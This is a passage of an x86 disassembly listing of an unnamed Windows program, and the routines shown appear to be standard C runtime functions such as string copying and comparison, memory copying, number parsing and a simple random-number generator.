cmp bl, cl
jl short loc_4172B9
cmp bl, al
jg short loc_4172B9
push 1
mov [edx], esi
pop edi
jmp short loc_4172B9
; ---------------------------------------------------------------------------
loc_4172AD: ; CODE XREF: sub_417247+38j
; sub_417247+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_4172B9
push 1
pop edi
loc_4172B9: ; CODE XREF: sub_417247+33j
; sub_417247+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_41726A
; ---------------------------------------------------------------------------
loc_4172C4: ; CODE XREF: sub_417247+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_4172D1
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_4172D1: ; CODE XREF: sub_417247+82j
cmp edi, eax
jnz short loc_4172DA
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_4172DA: ; CODE XREF: sub_417247+8Cj
mov eax, edi
pop edi
leave
retn
sub_417247 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172DF proc near ; CODE XREF: sub_4171B1+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_4172FB: ; CODE XREF: sub_4172DF+3Aj
cmp [eax], bl
jz short loc_41731B
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_417310
cmp cl, 2Ah
jnz short loc_41731B
cmp cl, 3Fh
jnz short loc_417313
loc_417310: ; CODE XREF: sub_4172DF+25j
inc eax
mov [edi], eax
loc_417313: ; CODE XREF: sub_4172DF+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_4172FB
; ---------------------------------------------------------------------------
loc_41731B: ; CODE XREF: sub_4172DF+1Ej
; sub_4172DF+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_417326
inc dword ptr [esi]
jmp short loc_41731B
; ---------------------------------------------------------------------------
loc_417326: ; CODE XREF: sub_4172DF+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_417347
mov edx, [esi]
cmp [edx], bl
jz short loc_417338
xor eax, eax
jmp short loc_4173A7
; ---------------------------------------------------------------------------
loc_417338: ; CODE XREF: sub_4172DF+53j
cmp cl, bl
jnz short loc_417347
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_417347
push 1
pop eax
jmp short loc_4173A7
; ---------------------------------------------------------------------------
loc_417347: ; CODE XREF: sub_4172DF+4Dj
; sub_4172DF+5Bj ...
push eax
push dword ptr [esi]
call sub_4171B1
pop ecx
test eax, eax
pop ecx
jnz short loc_417391
loc_417355: ; CODE XREF: sub_4172DF+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_417359: ; CODE XREF: sub_4172DF+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_417371
cmp cl, 5Bh
jz short loc_417371
cmp dl, bl
jz short loc_417371
inc eax
mov [edi], eax
jmp short loc_417359
; ---------------------------------------------------------------------------
loc_417371: ; CODE XREF: sub_4172DF+82j
; sub_4172DF+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_417388
push eax
push dword ptr [esi]
call sub_4171B1
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_41738D
; ---------------------------------------------------------------------------
loc_417388: ; CODE XREF: sub_4172DF+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_41738D: ; CODE XREF: sub_4172DF+A7j
cmp eax, ebx
jnz short loc_417355
loc_417391: ; CODE XREF: sub_4172DF+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_4173A4
mov eax, [esi]
cmp [eax], bl
jnz short loc_4173A4
mov [ebp+var_4], 1
loc_4173A4: ; CODE XREF: sub_4172DF+B6j
; sub_4172DF+BCj
mov eax, [ebp+var_4]
loc_4173A7: ; CODE XREF: sub_4172DF+57j
; sub_4172DF+66j
pop edi
pop esi
pop ebx
leave
retn
sub_4172DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4173AC proc near ; CODE XREF: sub_401000+61p
; sub_4010B2+308p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_419343
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_4173EC
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_4173F9
; ---------------------------------------------------------------------------
loc_4173EC: ; CODE XREF: sub_4173AC+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41922E
pop ecx
pop ecx
loc_4173F9: ; CODE XREF: sub_4173AC+3Ej
mov eax, esi
pop esi
leave
retn
sub_4173AC endp
; =============== S U B R O U T I N E =======================================
sub_4173FE proc near ; CODE XREF: sub_401000+2Ep
; sub_401D79+46p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43B56C, eax
retn
sub_4173FE endp
; =============== S U B R O U T I N E =======================================
sub_417408 proc near ; CODE XREF: sub_4010B2+CBp
; sub_4010B2+13Fp ...
mov eax, dword_43B56C
imul eax, 343FDh
add eax, 269EC3h
mov dword_43B56C, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_417408 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417430 proc near ; CODE XREF: sub_4010B2+281p
; sub_401447+180p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_417483
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_417477
neg ecx
and ecx, 3
jz short loc_417459
sub edx, ecx
loc_417453: ; CODE XREF: sub_417430+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_417453
loc_417459: ; CODE XREF: sub_417430+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_417477
rep stosd
test edx, edx
jz short loc_41747D
loc_417477: ; CODE XREF: sub_417430+18j
; sub_417430+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_417477
loc_41747D: ; CODE XREF: sub_417430+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417483: ; CODE XREF: sub_417430+Aj
mov eax, [esp+arg_0]
retn
sub_417430 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417490 proc near ; CODE XREF: sub_4010B2+22Dp
; sub_4010B2+23Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4174B0
cmp edi, eax
jb loc_417628
loc_4174B0: ; CODE XREF: sub_417490+16j
test edi, 3
jnz short loc_4174CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4174EC
rep movsd
jmp off_4175D8[edx*4]
; ---------------------------------------------------------------------------
loc_4174CC: ; CODE XREF: sub_417490+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4174E4
and eax, 3
add ecx, eax
jmp dword ptr loc_4174EC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4174E4: ; CODE XREF: sub_417490+46j
jmp dword ptr loc_4175E8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4174EC: ; CODE XREF: sub_417490+31j
; sub_417490+8Ej ...
jmp off_41756C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_417500
dd offset loc_41752C
dd offset loc_417550
; ---------------------------------------------------------------------------
loc_417500: ; DATA XREF: sub_417490+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4174EC
rep movsd
jmp off_4175D8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41752C: ; DATA XREF: sub_417490+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4174EC
rep movsd
jmp off_4175D8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_417550: ; DATA XREF: sub_417490+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4174EC
rep movsd
jmp off_4175D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41756C dd offset loc_4175CF ; DATA XREF: sub_417490:loc_4174ECr
dd offset loc_4175BC
dd offset loc_4175B4
dd offset loc_4175AC
dd offset loc_4175A4
dd offset loc_41759C
dd offset loc_417594
dd offset loc_41758C
; ---------------------------------------------------------------------------
loc_41758C: ; CODE XREF: sub_417490:loc_4174ECj
; DATA XREF: sub_417490+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_417594: ; CODE XREF: sub_417490:loc_4174ECj
; DATA XREF: sub_417490+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41759C: ; CODE XREF: sub_417490:loc_4174ECj
; DATA XREF: sub_417490+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4175A4: ; CODE XREF: sub_417490:loc_4174ECj
; DATA XREF: sub_417490+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4175AC: ; CODE XREF: sub_417490:loc_4174ECj
; DATA XREF: sub_417490+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4175B4: ; CODE XREF: sub_417490:loc_4174ECj
; DATA XREF: sub_417490+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4175BC: ; CODE XREF: sub_417490:loc_4174ECj
; DATA XREF: sub_417490+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4175CF: ; CODE XREF: sub_417490:loc_4174ECj
; DATA XREF: sub_417490:off_41756Co
jmp off_4175D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4175D8 dd offset loc_4175E8 ; DATA XREF: sub_417490+35r
; sub_417490+92r ...
dd offset loc_4175F0
dd offset loc_4175FC
dd offset loc_417610
; ---------------------------------------------------------------------------
loc_4175E8: ; CODE XREF: sub_417490+35j
; sub_417490+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4175F0: ; CODE XREF: sub_417490+35j
; sub_417490+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4175FC: ; CODE XREF: sub_417490+35j
; sub_417490+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_417610: ; CODE XREF: sub_417490+35j
; sub_417490+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417628: ; CODE XREF: sub_417490+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41765C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_417650
std
rep movsd
cld
jmp off_417770[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_417650: ; CODE XREF: sub_417490+1B1j
; sub_417490+208j ...
neg ecx
jmp off_417720[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41765C: ; CODE XREF: sub_417490+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_417674
and eax, 3
sub ecx, eax
jmp dword ptr loc_417674+4[eax*4]
; ---------------------------------------------------------------------------
loc_417674: ; CODE XREF: sub_417490+1D6j
; DATA XREF: sub_417490+1DDr
jmp off_417770[ecx*4]
; ---------------------------------------------------------------------------
align 4
mov [esi+41h], dh
add [eax-2FFFBE8Ah], ch
jbe short loc_4176C8
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_417650
std
rep movsd
cld
jmp off_417770[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_417650
std
rep movsd
cld
loc_4176C8: ; CODE XREF: sub_417490+1F5j
jmp off_417770[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_417650
std
rep movsd
cld
jmp off_417770[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_417724
dd offset loc_41772C
dd offset loc_417734
dd offset loc_41773C
dd offset loc_417744
dd offset loc_41774C
dd offset loc_417754
off_417720 dd offset loc_417767 ; DATA XREF: sub_417490+1C2r
; ---------------------------------------------------------------------------
loc_417724: ; DATA XREF: sub_417490+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41772C: ; DATA XREF: sub_417490+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_417734: ; DATA XREF: sub_417490+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41773C: ; DATA XREF: sub_417490+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_417744: ; DATA XREF: sub_417490+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41774C: ; DATA XREF: sub_417490+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_417754: ; DATA XREF: sub_417490+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_417767: ; CODE XREF: sub_417490+1C2j
; DATA XREF: sub_417490:off_417720o
jmp off_417770[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_417770 dd offset loc_417780 ; DATA XREF: sub_417490+1B7r
; sub_417490:loc_417674r ...
dd offset loc_417788
dd offset loc_417798
dd offset loc_4177AC
; ---------------------------------------------------------------------------
loc_417780: ; CODE XREF: sub_417490+1B7j
; sub_417490:loc_417674j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417788: ; CODE XREF: sub_417490+1B7j
; sub_417490:loc_417674j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417798: ; CODE XREF: sub_417490+1B7j
; sub_417490:loc_417674j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4177AC: ; CODE XREF: sub_417490+1B7j
; sub_417490:loc_417674j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_417490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4177D0 proc near ; CODE XREF: sub_4010B2+FCp
; sub_4010B2+118p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41781C
loc_4177E0: ; CODE XREF: sub_4177D0+3Cj
; sub_4177D0+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_417814
or al, al
jz short loc_417810
cmp ah, [ecx+1]
jnz short loc_417814
or ah, ah
jz short loc_417810
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_417814
or al, al
jz short loc_417810
cmp ah, [ecx+3]
jnz short loc_417814
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_4177E0
mov edi, edi
loc_417810: ; CODE XREF: sub_4177D0+18j
; sub_4177D0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_417814: ; CODE XREF: sub_4177D0+14j
; sub_4177D0+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41781C: ; CODE XREF: sub_4177D0+Ej
test edx, 1
jz short loc_417838
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_417814
inc ecx
or al, al
jz short loc_417810
test edx, 2
jz short loc_4177E0
loc_417838: ; CODE XREF: sub_4177D0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_417814
or al, al
jz short loc_417810
cmp ah, [ecx+1]
jnz short loc_417814
or ah, ah
jz short loc_417810
add ecx, 2
jmp short loc_4177E0
sub_4177D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417860 proc near ; CODE XREF: sub_4010B2+19Ep
; sub_401A6D+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_417879
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_417879: ; CODE XREF: sub_417860+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_417860 endp
; =============== S U B R O U T I N E =======================================
sub_417894 proc near ; CODE XREF: sub_41791F+4p
; sub_41DD12+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41789C: ; CODE XREF: sub_417894+34j
cmp dword_43B7AC, 1
jle short loc_4178B4
movzx eax, byte ptr [edi]
push 8
push eax
call sub_419B4D
pop ecx
pop ecx
jmp short loc_4178C3
; ---------------------------------------------------------------------------
loc_4178B4: ; CODE XREF: sub_417894+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43B5A0
mov al, [ecx+eax*2]
and eax, 8
loc_4178C3: ; CODE XREF: sub_417894+1Ej
test eax, eax
jz short loc_4178CA
inc edi
jmp short loc_41789C
; ---------------------------------------------------------------------------
loc_4178CA: ; CODE XREF: sub_417894+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_4178DA
cmp esi, 2Bh
jnz short loc_4178DE
loc_4178DA: ; CODE XREF: sub_417894+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_4178DE: ; CODE XREF: sub_417894+44j
xor ebx, ebx
loc_4178E0: ; CODE XREF: sub_417894+7Bj
cmp dword_43B7AC, 1
jle short loc_4178F5
push 4
push esi
call sub_419B4D
pop ecx
pop ecx
jmp short loc_417900
; ---------------------------------------------------------------------------
loc_4178F5: ; CODE XREF: sub_417894+53j
mov eax, off_43B5A0
mov al, [eax+esi*2]
and eax, 4
loc_417900: ; CODE XREF: sub_417894+5Fj
test eax, eax
jz short loc_417911
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_4178E0
; ---------------------------------------------------------------------------
loc_417911: ; CODE XREF: sub_417894+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41791A
neg eax
loc_41791A: ; CODE XREF: sub_417894+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_417894 endp
; =============== S U B R O U T I N E =======================================
sub_41791F proc near ; CODE XREF: sub_4013E9+12p
; sub_4013E9+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_417894
pop ecx
retn
sub_41791F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41792A proc near ; CODE XREF: sub_401447+318p
; sub_401D79+460p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_419343
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_417969
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_417976
; ---------------------------------------------------------------------------
loc_417969: ; CODE XREF: sub_41792A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41922E
pop ecx
pop ecx
loc_417976: ; CODE XREF: sub_41792A+3Dj
mov eax, esi
pop esi
leave
retn
sub_41792A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417980 proc near ; CODE XREF: sub_401D79+2D8p
; sub_401D79+2F8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_4179FA
mov dh, [ecx+1]
test dh, dh
jz short loc_4179E7
loc_417998: ; CODE XREF: sub_417980+52j
; sub_417980+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_4179BA
test al, al
jz short loc_4179B4
loc_4179A9: ; CODE XREF: sub_417980+32j
mov al, [esi]
inc esi
loc_4179AC: ; CODE XREF: sub_417980+3Fj
cmp al, dl
jz short loc_4179BA
test al, al
jnz short loc_4179A9
loc_4179B4: ; CODE XREF: sub_417980+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4179BA: ; CODE XREF: sub_417980+23j
; sub_417980+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_4179AC
lea edi, [esi-1]
loc_4179C4: ; CODE XREF: sub_417980+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_4179F3
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_417998
mov al, [ecx+3]
test al, al
jz short loc_4179F3
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_4179C4
jmp short loc_417998
; ---------------------------------------------------------------------------
loc_4179E7: ; CODE XREF: sub_417980+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_418636
; ---------------------------------------------------------------------------
loc_4179F3: ; CODE XREF: sub_417980+49j
; sub_417980+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_4179FA: ; CODE XREF: sub_417980+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_417980 endp
; =============== S U B R O U T I N E =======================================
sub_417A00 proc near ; CODE XREF: sub_405A6A+2BFp
; sub_40A74C+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_417A71
sub_417A00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417A10 proc near ; CODE XREF: sub_402368+484p
; sub_406047+15Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_417A2C
loc_417A1D: ; CODE XREF: sub_417A10+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_417A5F
test ecx, 3
jnz short loc_417A1D
loc_417A2C: ; CODE XREF: sub_417A10+Bj
; sub_417A10+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_417A2C
mov eax, [ecx-4]
test al, al
jz short loc_417A6E
test ah, ah
jz short loc_417A69
test eax, 0FF0000h
jz short loc_417A64
test eax, 0FF000000h
jz short loc_417A5F
jmp short loc_417A2C
; ---------------------------------------------------------------------------
loc_417A5F: ; CODE XREF: sub_417A10+12j
; sub_417A10+4Bj
lea edi, [ecx-1]
jmp short loc_417A71
; ---------------------------------------------------------------------------
loc_417A64: ; CODE XREF: sub_417A10+44j
lea edi, [ecx-2]
jmp short loc_417A71
; ---------------------------------------------------------------------------
loc_417A69: ; CODE XREF: sub_417A10+3Dj
lea edi, [ecx-3]
jmp short loc_417A71
; ---------------------------------------------------------------------------
loc_417A6E: ; CODE XREF: sub_417A10+39j
lea edi, [ecx-4]
loc_417A71: ; CODE XREF: sub_417A00+5j
; sub_417A10+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_417A96
loc_417A7D: ; CODE XREF: sub_417A10+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_417AE8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_417A7D
jmp short loc_417A96
; ---------------------------------------------------------------------------
loc_417A91: ; CODE XREF: sub_417A10+9Ej
; sub_417A10+B8j
mov [edi], edx
add edi, 4
loc_417A96: ; CODE XREF: sub_417A10+6Bj
; sub_417A10+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_417A91
test dl, dl
jz short loc_417AE8
test dh, dh
jz short loc_417ADF
test edx, 0FF0000h
jz short loc_417AD2
test edx, 0FF000000h
jz short loc_417ACA
jmp short loc_417A91
; ---------------------------------------------------------------------------
loc_417ACA: ; CODE XREF: sub_417A10+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417AD2: ; CODE XREF: sub_417A10+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_417ADF: ; CODE XREF: sub_417A10+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417AE8: ; CODE XREF: sub_417A10+72j
; sub_417A10+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_417A10 endp
; =============== S U B R O U T I N E =======================================
sub_417AF0 proc near ; CODE XREF: sub_402368+93p
; sub_402368+A1p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_417B10
loc_417AFC: ; CODE XREF: sub_417AF0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_417B43
test ecx, 3
jnz short loc_417AFC
add eax, 0
loc_417B10: ; CODE XREF: sub_417AF0+Aj
; sub_417AF0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_417B10
mov eax, [ecx-4]
test al, al
jz short loc_417B61
test ah, ah
jz short loc_417B57
test eax, 0FF0000h
jz short loc_417B4D
test eax, 0FF000000h
jz short loc_417B43
jmp short loc_417B10
; ---------------------------------------------------------------------------
loc_417B43: ; CODE XREF: sub_417AF0+11j
; sub_417AF0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417B4D: ; CODE XREF: sub_417AF0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417B57: ; CODE XREF: sub_417AF0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417B61: ; CODE XREF: sub_417AF0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_417AF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417B70 proc near ; CODE XREF: sub_402822+8p
; sub_402E92+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_417B90
loc_417B7C: ; CODE XREF: sub_417B70+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
